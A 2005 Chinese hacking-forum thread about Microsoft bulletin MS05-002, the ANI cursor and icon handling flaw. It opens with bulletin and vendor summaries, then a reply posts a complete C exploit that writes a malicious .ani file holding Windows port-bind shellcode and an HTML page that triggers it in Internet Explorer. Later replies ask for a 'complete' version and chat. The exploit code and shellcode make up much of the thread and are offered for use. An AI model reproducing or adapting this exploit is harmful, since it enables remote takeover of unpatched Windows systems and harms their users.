论坛: 黑客进阶 标题: MS05-002光标和图标格式处理中的漏洞可能允许远程执行代码+攻击代码 复制本贴地址    
作者: BrideX [bridex]    论坛用户   登录
Microsoft 安全公告 MS05-002
光标和图标格式处理中的漏洞可能允许远程执行代码 (891711)

发布时间:2005 年 1 月 11 日
更新时间:2005 年 3 月 8 日
版本:1.2

摘要
本文档的目标读者:使用 Microsoft Windows 的客户

漏洞的影响:远程执行代码

最高严重等级:严重

建议:用户应立即应用此更新。

安全更新替代:本公告替代以前的一个安全更新。 有关详细信息,请参见本公告的“常见问题解答 (FAQ)”部分。

注意事项:无

测试过的软件和安全更新下载位置:

受影响的软件:

• Microsoft Windows NT Server 4.0 Service Pack 6a �C 下载此更新

• Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 �C 下载此更新 [英文]

• Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4 �C 下载此更新

• Microsoft Windows XP Service Pack 1 �C 下载此更新

• Microsoft Windows XP 64-Bit Edition Service Pack 1 �C 下载此更新 [英文]

• Microsoft Windows XP 64-Bit Edition Version 2003 �C 下载此更新 [英文]

• Microsoft Windows Server 2003 �C 下载此更新

• Microsoft Windows Server 2003 64-Bit Edition �C 下载此更新 [英文]

• Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) �C 有关这些操作系统的详细信息,请查看本公告的“常见问题解答”部分。


不受影响的软件:

• Microsoft Windows XP Service Pack 2



地主 发表时间: 05-04-15 12:18

回复: BrideX [bridex]   论坛用户   登录
具体内容相关

MS05-002:光标和图标处理及windows内核漏洞
2005年01月12日 11:27 金山毒霸信息安全网 
  1月11日,微软安全中心发布了2005年1月漏洞安全公告:MS05-002危害等级为“严重”,请广大用户尽快到微软官方网站下载微软最新补丁。

编号:MS05-002
名称:光标和图标格式处理中的漏洞可能允许远程执行代码
KB编号:891711
等级:严重

光标和图标格式处理漏洞描述:

  处理光标、动画光标和图标格式的方式中存在远程执行代码漏洞。 攻击者可以通过构建恶意光标/图标来利用此漏洞,如果用户访问了恶意网站或查看了恶意的电子邮件,此漏洞就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。

Windows 内核漏洞描述:

  处理光标、动画光标和图标格式的方式中存在拒绝服务漏洞。 攻击者可以通过构建恶意光标/图标来利用此漏洞,可能导致操作系统停止响应。 必须重新启动操作系统才能恢复正常功能。

  我们建议用户立即安装此更新。

受影响的软件:

・ Microsoft Windows NT Server 4.0 Service Pack 6a �C 下载此更新
・ Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 �C 下载此更新[英文]
・ Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4 �C 下载此更新
・ Microsoft Windows XP Service Pack 1-下载此更新
・ Microsoft Windows XP 64-Bit Edition Service Pack 1 �C 下载此更新[英文]
・ Microsoft Windows XP 64-Bit Edition Version 2003�C 下载此更新 [英文]
・ Microsoft Windows Server 2003�C 下载此更新
・ Microsoft Windows Server 2003 64-Bit Edition�C 下载此更新 [英文]

不受影响的软件:

・ Microsoft Windows XP Service Pack

严重等级和漏洞标识:

漏洞标识 漏洞的影响 Windows 98、98 SE、ME Windows NT 4.0 Windows 2000 Windows XP Windows Server 2003
光标和图标格式处理漏洞 - CAN-2004-1049

远程执行代码
严重
严重
严重 严重 严重
Windows 内核漏洞 - CAN-2004-1305 拒绝服务 重要事项 重要事项 重要事项 重要事项 重要事项
所有漏洞综合严重程度    严重 严重 严重 严重 严重


减轻影响的方式:

光标和图标格式处理漏洞:

・ 在基于 Web 的攻击中,攻击者必须拥有一个网站,并在上面放置用来利用此漏洞的网页。 攻击
  者还可以尝试构建一个网站并且通过它来提供带有恶意内容的网页,进而利用此漏洞。 攻击者无
  法强迫用户访问网站。 相反,攻击者必须劝诱用户访问该网站,通常是让用户单击通向攻击者站
  点或攻击者构建的站点的链接。
。 默认情况下,Outlook Express 6、Outlook 2002 和 Outlook 2003 在“受限制的站点”区域中
  打开 HTML 电子邮件。 此外,如果已经安装 Outlook 电子邮件安全更新,Outlook 2000 将在“
  受限制的站点”区域中打开 HTML 电子邮件消息。 如果已经安装了 Microsoft 安全公告 MS04-
  018,Outlook Express 5.5 Service Pack 2 将在“受限制的站点”区域打开 HTML 电子邮件消
  息。 “受限制的站点”区域可以减少利用此漏洞的攻击企图。

  如果满足以下所有条件,就会大大降低受到 HTML 电子邮件媒介攻击的威胁:
   ・应用 Microsoft 安全公告 MS03-040 或更高版本的 Internet Explorer 累积安全更新中包
    含的更新。
   ・使用 Internet Explorer 6 或更高版本。
   ・在其默认配置中使用 Microsoft Outlook 电子邮件安全更新,使用 Microsoft Outlook
    Express 6 或更高版本,或使用 Microsoft Outlook 2000 Service Pack 2 或更高版本。

・Microsoft Windows XP Service Pack 2 不受此漏洞的影响。

Windows 内核漏洞:

・ 在基于 Web 的攻击中,攻击者必须拥有一个网站,并在上面放置用来利用此漏洞的网页。 攻击
  者还可以尝试构建一个网站并且通过它来提供带有恶意内容的网页,进而利用此漏洞。 攻击者无
  法强迫用户访问网站。 相反,攻击者必须劝诱用户访问该网站,通常是让用户单击通向攻击者站
  点或攻击者构建的站点的链接。
。 默认情况下,Outlook Express 6、Outlook 2002 和 Outlook 2003 在“受限制的站点”区域中
  打开 HTML 电子邮件。 此外,如果已经安装 Outlook 电子邮件安全更新,Outlook 2000 将在“
  受限制的站点”区域中打开 HTML 电子邮件消息。 如果已经安装了 Microsoft 安全公告 MS04-
  018,Outlook Express 5.5 Service Pack 2 将在“受限制的站点”区域打开 HTML 电子邮件消
  息。 “受限制的站点”区域可以减少利用此漏洞的攻击企图。

  如果满足以下所有条件,就会大大降低受到 HTML 电子邮件媒介攻击的威胁:
   ・应用 Microsoft 安全公告 MS03-040 或更高版本的 Internet Explorer 累积安全更新中包
    含的更新。
   ・使用 Internet Explorer 6 或更高版本。
   ・在其默认配置中使用 Microsoft Outlook 电子邮件安全更新,使用 Microsoft Outlook
    Express 6 或更高版本,或使用 Microsoft Outlook 2000 Service Pack 2 或更高版本。

・Microsoft Windows XP Service Pack 2 不受此漏洞的影响。








B1层 发表时间: 05-04-15 12:19

回复: BrideX [bridex]   论坛用户   登录
#include <stdio.h>
#include <stdlib.h>


/* ANI header */
unsigned char aniheader[] =
"\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

/* jmp offset, no Jitsu */
"\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"
"\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"
"\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"
"\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"
"\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"
"\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"
"\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


/* portbind shellcode */
unsigned char shellcode[] =
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";

#define SET_PORTBIND_PORT(buf, port) *(unsigned
short *)(((buf)+300)) = (port)

unsigned char discl[] =
"This is provided as proof-of-concept code only for
educational"
" purposes and testing by authorized individuals with
permission"
" to do so.";

unsigned char html[] =
"<html>\n"
"(MS05-002) Microsoft Internet Explorer .ANI Files Handling
Exploit"
"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href
=\""
"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"
"Patch (MS05-002)</a>\n"
"&lt;script&gt;alert(\"%s\")&lt;/script&gt;\n<head>\n\t<style>\n"
"\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n"
"</html>";


unsigned short
fixx(unsigned short p)
{
unsigned short r = 0;
r  = (p & 0xFF00) >> 8;
r |= (p & 0x00FF) << 8;

return r;
}

void
usage(char *prog)
{
printf("Usage:\n");
printf("%s <file> <bindport>\n\n", prog);
exit(0);
}


int
main(int argc, char **argv)
{
FILE *fp;
unsigned short port;
unsigned char f[256+5] = "";
unsigned char anib[912] = "";


printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n");
printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
printf("Tested on all affected systems:\n");
printf("  [+] Windows Server 2003\n  [+] Windows XP SP1, SP0\n");
printf("  [+] Windows 2000 All SP\n\n");

printf("%s\n\n", discl);
if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {
printf("[-] Size of shellcode must be <= 686 bytes\n");
return 0;
}
if (argc < 3) usage(argv[0]);

if (strlen(argv[1]) > 256) {
printf("[-] Size of filename must be <=256 bytes\n");
return 0;
}

/* creating ani file */
strcpy(f, argv[1]);
strcat(f, ".ani");
printf("[*] Creating %s file ...", f);
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
memset(anib, 0x90, 912);

/* header */
memcpy(anib, aniheader, sizeof(aniheader)-1);
/* shellcode */
port = atoi(argv[2]);
SET_PORTBIND_PORT(shellcode, fixx(port));
memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);

fwrite(anib, 1, 912, fp);
printf(" Ok\n");
fclose(fp);

/* creating html file */
f[0] = '\0';
strcpy(f, argv[1]);
strcat(f, ".html");
printf("[*] Creating %s file ...", f);
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
sprintf(anib, html, discl, argv[1]);
fwrite(anib, 1, strlen(anib), fp);
printf(" Ok\n");
fclose(fp);

return 0;
}



B2层 发表时间: 05-04-15 12:20

回复: BrideX [bridex]   论坛用户   登录
代码可能有些不完善.。
谁有该完整程序!请提供下载!!

B3层 发表时间: 05-04-29 10:29

回复: NullNet [hackerjune]   论坛用户   登录
4月份的

B4层 发表时间: 05-04-29 10:33

回复: NullNet [hackerjune]   论坛用户   登录
http://www.cnblogs.com/nullnet/archive/2005/04/18/139894.aspx
不好意思
看错了是最新的

B5层 发表时间: 05-04-29 10:34

回复: BrideX [bridex]   论坛用户   登录
楼上的网站版面太大。我看晕了。。。


B6层 发表时间: 05-04-29 13:01

回复: hongliubo1 [hongliubo1]   论坛用户   登录
是不是来灌的 汗~

B7层 发表时间: 05-04-30 11:39

回复: BrideX [bridex]   论坛用户   登录
灌什么?灌着玩呗.



B8层 发表时间: 05-05-02 13:15

回复: BrideX [bridex]   论坛用户   登录
没想到这破贴子还在?
还没沉,
都几个月了还不沉呢?
它咋就不沉呢?

B9层 发表时间: 05-07-18 18:21

回复: jaychou [jaychou]   论坛用户   登录
我很菜,尤其对代码一直没弄明白,问一下b2层提供的代码是干什么用的?这个问题我一直没弄明白

B10层 发表时间: 05-07-24 21:59

回复: raojianhua [raojianhua]   论坛用户   登录
那些代码是C语言代码吗?

B11层 发表时间: 05-07-25 15:55

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号